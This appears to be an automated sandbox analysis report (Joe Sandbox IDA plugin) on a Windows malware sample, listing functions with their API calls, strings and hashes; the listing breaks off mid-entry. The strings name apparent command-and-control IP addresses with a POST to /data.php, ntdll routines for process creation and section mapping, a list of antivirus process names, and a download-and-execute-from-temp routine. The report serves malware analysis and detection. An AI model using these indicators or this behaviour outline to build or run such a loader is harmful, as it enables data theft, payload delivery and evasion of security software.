Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: AllocMemoryProcessVirtualWrite
String ID:
API String ID: 645232735-0
Opcode ID: 9846827d6b8e06299e9a05d4f878c346567fa6bf18a5ac3c9d23b35c2b6f147d
Instruction ID: 9230fde7bd88c47e166ab82926a89ddbd57c3f4787b9c3a1dddcf6d2b3112a2d
Opcode Fuzzy Hash: 9846827d6b8e06299e9a05d4f878c346567fa6bf18a5ac3c9d23b35c2b6f147d
Instruction Fuzzy Hash: 5871E636618B5586DB51CB1AF49032AABA1F799BC4F144075FA8D83B68DF3CE440EB40

Function 00007FF60E6133F8 Relevance: 7.6, APIs: 5, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 00007FF60E613490
free.LIBCMT ref: 00007FF60E61342E

Part of subcall function 00007FF60E63240C: HeapFree.KERNEL32 ref: 00007FF60E632422
Part of subcall function 00007FF60E63240C: _errno.LIBCMT ref: 00007FF60E63242C
Part of subcall function 00007FF60E63240C: GetLastError.KERNEL32 ref: 00007FF60E632434

free.LIBCMT ref: 00007FF60E613448
malloc.LIBCMT ref: 00007FF60E613463

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: free$ErrorFreeHeapInformationLastQuerySystem_errnomalloc
String ID:
API String ID: 76496729-0
Opcode ID: 5a7b4308a923f00615bebbf7bced7e92388ca8185c8d29abf5f0f076eaa07afc
Instruction ID: 6629c3f523fc71915324462bfdd19cbac7e6b40658f0ae962cac4c938a3f1ef4
Opcode Fuzzy Hash: 5a7b4308a923f00615bebbf7bced7e92388ca8185c8d29abf5f0f076eaa07afc
Instruction Fuzzy Hash: F3213C7293C661C6E7729B50F04472AB2A0FBA4348F240175F68F86799CF7CD584DB04

Function 00007FF60E62EC18 Relevance: 59.7, APIs: 24, Strings: 10, Instructions: 163networksleepstringCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF60E62EC92
InternetConnectW.WININET ref: 00007FF60E62ECED
InternetCloseHandle.WININET ref: 00007FF60E62ED05
Sleep.KERNEL32 ref: 00007FF60E62ED10
HttpOpenRequestW.WININET ref: 00007FF60E62ED54
InternetCloseHandle.WININET ref: 00007FF60E62ED6C
InternetCloseHandle.WININET ref: 00007FF60E62ED77
strlen.MSVCRT ref: 00007FF60E62ED9A
HttpSendRequestA.WININET ref: 00007FF60E62EDC0
InternetCloseHandle.WININET ref: 00007FF60E62EDCF
InternetCloseHandle.WININET ref: 00007FF60E62EDDA
InternetCloseHandle.WININET ref: 00007FF60E62EDE5

Strings

POST, xrefs: 00007FF60E62ED48
err, xrefs: 00007FF60E62ED7D
data=, xrefs: 00007FF60E62EC21
185.81.68.148, xrefs: 00007FF60E62EC3F
Content-Type: application/x-www-form-urlencodedConnection: close, xrefs: 00007FF60E62ED89
err, xrefs: 00007FF60E62ECA5
err, xrefs: 00007FF60E62EDEB
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0, xrefs: 00007FF60E62EC8B
185.81.68.147, xrefs: 00007FF60E62EC30
/data.php, xrefs: 00007FF60E62ED41

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectSendSleepstrlen
String ID: /data.php$185.81.68.147$185.81.68.148$Content-Type: application/x-www-form-urlencodedConnection: close$Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0$POST$data=$err$err$err
API String ID: 2240106504-3235050614
Opcode ID: 28471d85fd49d0bd5f3af11c198ae44d0fa0b724d49c512276e690abd95f61e1
Instruction ID: 2b9201334288a65ee6c3c19d5619c085a64173c37d68db858d799aaba0aa32a5
Opcode Fuzzy Hash: 28471d85fd49d0bd5f3af11c198ae44d0fa0b724d49c512276e690abd95f61e1
Instruction Fuzzy Hash: 0091EB7262CA5286E750CB15F49476AB7A0FBE5794F60003AFA8D83B68DF7DD844DB00

Function 00007FF60E62EF58 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138networksleepmemoryCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF60E62EF9C
Sleep.KERNEL32 ref: 00007FF60E62EFB4
InternetOpenUrlW.WININET ref: 00007FF60E62EFE0
InternetOpenUrlW.WININET ref: 00007FF60E62F017
InternetCloseHandle.WININET ref: 00007FF60E62F02F
Sleep.KERNEL32 ref: 00007FF60E62F03A
HttpQueryInfoA.WININET ref: 00007FF60E62F06A
InternetCloseHandle.WININET ref: 00007FF60E62F079
InternetCloseHandle.WININET ref: 00007FF60E62F084
Sleep.KERNEL32 ref: 00007FF60E62F08F
InternetCloseHandle.WININET ref: 00007FF60E62F0A9
InternetOpenUrlW.WININET ref: 00007FF60E62F0D3
InternetCloseHandle.WININET ref: 00007FF60E62F0EB
Sleep.KERNEL32 ref: 00007FF60E62F0F6
HttpQueryInfoA.WININET ref: 00007FF60E62F12E
GetProcessHeap.KERNEL32 ref: 00007FF60E62F13D
HeapAlloc.KERNEL32 ref: 00007FF60E62F153
InternetCloseHandle.WININET ref: 00007FF60E62F16B
InternetCloseHandle.WININET ref: 00007FF60E62F176
InternetReadFile.WININET ref: 00007FF60E62F1B3
InternetCloseHandle.WININET ref: 00007FF60E62F1E9
InternetCloseHandle.WININET ref: 00007FF60E62F1F4

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF60E62EF95

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 4279794846-2771526726
Opcode ID: c286b5aeaee3a95e6f793a4cad3823bc7d6503c806200300204d2a70b13d1204
Instruction ID: cfa6140504a1c1501a626aad74857e64d85f95f5036741eae43c446e87f6ffc8
Opcode Fuzzy Hash: c286b5aeaee3a95e6f793a4cad3823bc7d6503c806200300204d2a70b13d1204
Instruction Fuzzy Hash: 7271E772628A9186E7508B15F85872EB770FBE5B94F605039FA8E83B58CF7DD844DB00

Function 00007FF60E612314 Relevance: 36.8, APIs: 11, Strings: 10, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF60E61231F
GetProcAddress.KERNEL32 ref: 00007FF60E612343
GetProcAddress.KERNEL32 ref: 00007FF60E61235C
GetProcAddress.KERNEL32 ref: 00007FF60E612375
GetProcAddress.KERNEL32 ref: 00007FF60E61238E
GetProcAddress.KERNEL32 ref: 00007FF60E6123A7
GetProcAddress.KERNEL32 ref: 00007FF60E6123C0
GetProcAddress.KERNEL32 ref: 00007FF60E6123D9
GetProcAddress.KERNEL32 ref: 00007FF60E6123F2
GetProcAddress.KERNEL32 ref: 00007FF60E61240B
FreeLibrary.KERNEL32 ref: 00007FF60E612477

Strings

ntdll.dll, xrefs: 00007FF60E612318
NtClose, xrefs: 00007FF60E612337
NtCreateSection, xrefs: 00007FF60E6123CD
RtlAdjustPrivilege, xrefs: 00007FF60E6123B4
RtlInitUnicodeString, xrefs: 00007FF60E612382
NtWriteFile, xrefs: 00007FF60E6123FF
NtOpenFile, xrefs: 00007FF60E6123E6
NtSetInformationProcess, xrefs: 00007FF60E61239B
NtMapViewOfSection, xrefs: 00007FF60E612350
NtSetInformationFile, xrefs: 00007FF60E612369

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: NtClose$NtCreateSection$NtMapViewOfSection$NtOpenFile$NtSetInformationFile$NtSetInformationProcess$NtWriteFile$RtlAdjustPrivilege$RtlInitUnicodeString$ntdll.dll
API String ID: 2449869053-1333963010
Opcode ID: 3b84ecef7e8c75bcd1d12f9525db118f6743ea869c907afc9188f40934af8a68
Instruction ID: 885738390cccd6253f39901ca6f9b80f938fc45708de93416d5412735d20b426
Opcode Fuzzy Hash: 3b84ecef7e8c75bcd1d12f9525db118f6743ea869c907afc9188f40934af8a68
Instruction Fuzzy Hash: 8141ABA6939A22C1E6628B04F86837933B0FF74745F644137F49EC2675DF7CA588E240

Function 00007FF60E6117C4 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 161libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 00007FF60E6117E2
GetProcAddress.KERNEL32 ref: 00007FF60E6117F9
GetProcAddress.KERNEL32 ref: 00007FF60E611813
FreeLibrary.KERNEL32 ref: 00007FF60E611846
RtlInitUnicodeString.NTDLL ref: 00007FF60E611881
wcsnlen.LIBCMT ref: 00007FF60E6118CD
GetCurrentDirectoryW.KERNEL32 ref: 00007FF60E6118E4
RtlInitUnicodeString.NTDLL ref: 00007FF60E611918
GetSystemDirectoryW.KERNEL32 ref: 00007FF60E61192B
RtlInitUnicodeString.NTDLL ref: 00007FF60E611966
RtlInitUnicodeString.NTDLL ref: 00007FF60E6119A9
CreateEnvironmentBlock.USERENV ref: 00007FF60E6119BF
FreeLibrary.KERNEL32 ref: 00007FF60E611A91
FreeLibrary.KERNEL32 ref: 00007FF60E611AD1
FreeLibrary.KERNEL32 ref: 00007FF60E611B08

Strings

ntdll.dll, xrefs: 00007FF60E6117DB
Diamotrixed!, xrefs: 00007FF60E61198A
RtlCreateProcessParametersEx, xrefs: 00007FF60E6117ED
NtCurrentPeb, xrefs: 00007FF60E611807

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Library$FreeInitStringUnicode$AddressDirectoryProc$BlockCreateCurrentEnvironmentLoadSystemwcsnlen
String ID: Diamotrixed!$NtCurrentPeb$RtlCreateProcessParametersEx$ntdll.dll
API String ID: 1477408737-2287811734
Opcode ID: 16a03e98275a15fa7fbf00527d921ee2a87b4c912d7ee25d9fcad31013e44fa4
Instruction ID: 3eb5bb1aef21205671e3438b1ed1e9222a7a5ddf901af9523862d0a99058a725
Opcode Fuzzy Hash: 16a03e98275a15fa7fbf00527d921ee2a87b4c912d7ee25d9fcad31013e44fa4
Instruction Fuzzy Hash: 66913E72629BD582EB71CB24F4543AAB3A1FB95780F504036E68D83B69EF7CD148DB00

Function 00007FF60E62DA34 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET ref: 00007FF60E62DA5C
InternetOpenUrlA.WININET ref: 00007FF60E62DA9A
InternetCloseHandle.WININET ref: 00007FF60E62DAB2

Strings

Mozilla/5.0, xrefs: 00007FF60E62DA55

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Internet$Open$CloseHandle
String ID: Mozilla/5.0
API String ID: 3289985339-2630049532
Opcode ID: d808c079d8e75f8a4ac68c4773e767ace300b3f5636902ee28373f7788d6eb60
Instruction ID: 758c68f3cb8765f84133a8e67a447f829480c8f768285947b839801893f3628c
Opcode Fuzzy Hash: d808c079d8e75f8a4ac68c4773e767ace300b3f5636902ee28373f7788d6eb60
Instruction Fuzzy Hash: 9C512D7162CA9286E7109F11F46432EB760FBE5B95F204135FA8E82AA8CF7DD844DB40

Function 00007FF60E611478 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 81libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF60E611483
GetProcAddress.KERNEL32 ref: 00007FF60E6114A9

Strings

NtCreateThreadEx, xrefs: 00007FF60E611501
NtQuerySystemInformation, xrefs: 00007FF60E611565
ntdll.dll, xrefs: 00007FF60E61147C
NtResumeProcess, xrefs: 00007FF60E6115C3
NtQueryInformationFile, xrefs: 00007FF60E611533
NtSuspendProcess, xrefs: 00007FF60E611594
NtCreateProcessEx, xrefs: 00007FF60E61149D
RtlCreateProcessParametersEx, xrefs: 00007FF60E6114CF

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: NtCreateProcessEx$NtCreateThreadEx$NtQueryInformationFile$NtQuerySystemInformation$NtResumeProcess$NtSuspendProcess$RtlCreateProcessParametersEx$ntdll.dll
API String ID: 2574300362-3070941563
Opcode ID: fe0edb3ea2ea9d1b61de22b004e242eb16fd45174bdc196908c66df22b0c4eac
Instruction ID: c4256c324d1abd6e3265e1807bdafd4d42193c07fefeccf22a5e3510f49a8a1a
Opcode Fuzzy Hash: fe0edb3ea2ea9d1b61de22b004e242eb16fd45174bdc196908c66df22b0c4eac
Instruction Fuzzy Hash: 7841E17592DB66C1EA318B04F55436A73A0FB69784F641236F68E83765DF3CE144EB00

Function 00007FF60E63092C Relevance: 25.7, APIs: 17, Instructions: 155memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF60E630973
GetFileSize.KERNEL32 ref: 00007FF60E630994
GetProcessHeap.KERNEL32 ref: 00007FF60E6309AA
HeapAlloc.KERNEL32 ref: 00007FF60E6309C3
CloseHandle.KERNEL32 ref: 00007FF60E6309DB

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: FileHeap$AllocCloseCreateHandleProcessSize
String ID:
API String ID: 4026551389-0
Opcode ID: dad4417b183fee83f8e059b4764bb9658e6ee4e87390e1ce80ae04f4a6b01d07
Instruction ID: afc7a5da01a1bdc7d1ec2f40d2c8586213d4a9d4964436b030c81a67115829d6
Opcode Fuzzy Hash: dad4417b183fee83f8e059b4764bb9658e6ee4e87390e1ce80ae04f4a6b01d07
Instruction Fuzzy Hash: 36810532619B9182EA50CB65F49432EA7A0FBD9B94F604135FA8E83B68DF7DD444DB00

Function 00007FF60E62CEB8 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 103COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60E62D16F), ref: 00007FF60E62CF02

Strings

AvastSvc.exe, xrefs: 00007FF60E62CF5A
MsMpEng.exe, xrefs: 00007FF60E62CF2B
avgwdsvc.exe, xrefs: 00007FF60E62CF9E
AvastAntivirus.exe, xrefs: 00007FF60E62CF6F
360sd.exe, xrefs: 00007FF60E62CFE2
AvastUI.exe, xrefs: 00007FF60E62CF45
360ts.exe, xrefs: 00007FF60E62CFCD
avgui.exe, xrefs: 00007FF60E62CF89
avgnext.exe, xrefs: 00007FF60E62CFB3

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: CloseHandle
String ID: 360sd.exe$360ts.exe$AvastAntivirus.exe$AvastSvc.exe$AvastUI.exe$MsMpEng.exe$avgnext.exe$avgui.exe$avgwdsvc.exe
API String ID: 2962429428-2792874574
Opcode ID: 4ea5b1be55232d26d753203b733671219c7c2ad8b1cc2637dc4e508cc27a149c
Instruction ID: 72317acfc74ebcd44608bfa18a88661fbe48fe0e4d1d871736d5ec3c040e8fb2
Opcode Fuzzy Hash: 4ea5b1be55232d26d753203b733671219c7c2ad8b1cc2637dc4e508cc27a149c
Instruction Fuzzy Hash: 98517051A2CA6380FB209B25F45037EA790EFB0358F600236F5ADC65EADF6CDA45E750

Function 00007FF60E61DF2C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF60E61DF44

Part of subcall function 00007FF60E640610: _lock.LIBCMT ref: 00007FF60E640622

_Yarn.LIBCPMTD ref: 00007FF60E61DF55
_Yarn.LIBCPMTD ref: 00007FF60E61DF66
_Yarn.LIBCPMTD ref: 00007FF60E61DF77
_Yarn.LIBCPMTD ref: 00007FF60E61DF88
_Yarn.LIBCPMTD ref: 00007FF60E61DF99
_Yarn.LIBCPMTD ref: 00007FF60E61DFAA
std::bad_exception::bad_exception.LIBCMTD ref: 00007FF60E61DFC3

Part of subcall function 00007FF60E61E454: std::exception::exception.LIBCMT ref: 00007FF60E61E46C

_CxxThrowException.LIBCMT ref: 00007FF60E61DFD4

Part of subcall function 00007FF60E632504: RtlPcToFileHeader.NTDLL ref: 00007FF60E632593
Part of subcall function 00007FF60E632504: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF60E6404BE), ref: 00007FF60E6325D2

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF60E61DFE3

Strings

bad locale name, xrefs: 00007FF60E61DFB7

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Yarn$Exceptionstd::_$FileHeaderLocinfo::_Locinfo_ctorLockitLockit::_RaiseThrow_lockstd::bad_exception::bad_exceptionstd::exception::exception
String ID: bad locale name
API String ID: 3938507140-1405518554
Opcode ID: ad999236b8d4008b2380ea14d0df8985624ecf54030ce66e7ee12e07fe8f9879
Instruction ID: 3efbe30afaea97da7674208707a0562bbe51b6f0e00df824a57cc596a397b066
Opcode Fuzzy Hash: ad999236b8d4008b2380ea14d0df8985624ecf54030ce66e7ee12e07fe8f9879
Instruction Fuzzy Hash: 4E114F51F28B9641EE00E799F45116DA760FFD1B94F900032F98D4B76BEEACD0059704

Function 00007FF60E62B728 Relevance: 18.2, APIs: 12, Instructions: 244COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60E62B778
_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60E62B826
char_traits.LIBCPMTD ref: 00007FF60E62B8FD
char_traits.LIBCPMTD ref: 00007FF60E62B9AC
char_traits.LIBCPMTD ref: 00007FF60E62BA00
char_traits.LIBCPMTD ref: 00007FF60E62BA6F
char_traits.LIBCPMTD ref: 00007FF60E62BAB6
char_traits.LIBCPMTD ref: 00007FF60E62BB33
char_traits.LIBCPMTD ref: 00007FF60E62BB93

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: char_traits$Mtx_guardMtx_guard::~_
String ID:
API String ID: 3950283302-0
Opcode ID: 26e523eaab64f351134ad44a1117f834685a3f9a05b7fda99f5919bc6b6d8d46
Instruction ID: 59870f515431ed780ddd5caa1ffb97f84bd03a7f21ccbe6447e3bd8d3b7c7c24
Opcode Fuzzy Hash: 26e523eaab64f351134ad44a1117f834685a3f9a05b7fda99f5919bc6b6d8d46
Instruction Fuzzy Hash: 96D1E866A1DFC181DA70DB95F4953AEB361FBD8B84F104136EA8D83B6ADF2CD0408B41

Function 00007FF60E62DC08 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 62stringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32 ref: 00007FF60E62DC2B
GetTempFileNameA.KERNEL32 ref: 00007FF60E62DC53
lstrcpyA.KERNEL32 ref: 00007FF60E62DCA3
lstrcpyA.KERNEL32 ref: 00007FF60E62DCE1
ShellExecuteExA.SHELL32 ref: 00007FF60E62DD53

Strings

p, xrefs: 00007FF60E62DCF1
.exe, xrefs: 00007FF60E62DC99
tmp, xrefs: 00007FF60E62DC44
open, xrefs: 00007FF60E62DD1B
@, xrefs: 00007FF60E62DD0A

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Templstrcpy$ExecuteFileNamePathShell
String ID: .exe$@$open$p$tmp
API String ID: 3481378980-1541851258
Opcode ID: 5c69159e7257d6518b28d152e0a484615bf9003ab4f5bea52d68b51e3ab49161
Instruction ID: 9f11af24caee0d27440e1d456679d0fe2f7f700789731a9fd1b1710ff944c6f8
Opcode Fuzzy Hash: 5c69159e7257d6518b28d152e0a484615bf9003ab4f5bea52d68b51e3ab49161
Instruction Fuzzy Hash: 3A312172618B8595E760CB14F4943AAB7A4FB94794F900235F6CD83AA8DF7CD548CB00

Function 00007FF60E62DD68 Relevance: 16.6, APIs: 11, Instructions: 118stringfileCOMMON

Download Yara Rule

APIs

strtok.LIBCMT ref: 00007FF60E62DD9A

Part of subcall function 00007FF60E63332C: _getptd.LIBCMT ref: 00007FF60E63334B

lstrcpyA.KERNEL32 ref: 00007FF60E62DDBD
strtok.LIBCMT ref: 00007FF60E62DDCC
lstrlenA.KERNEL32 ref: 00007FF60E62DDE3
lstrcmpA.KERNEL32 ref: 00007FF60E62DE4D
DeleteFileA.KERNEL32 ref: 00007FF60E62DE82
CopyFileA.KERNEL32 ref: 00007FF60E62DE98
SetFileAttributesA.KERNEL32 ref: 00007FF60E62DEA8
lstrcmpA.KERNEL32 ref: 00007FF60E62DEC2
strtok.LIBCMT ref: 00007FF60E62DEF7
lstrlenA.KERNEL32 ref: 00007FF60E62DF0E

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
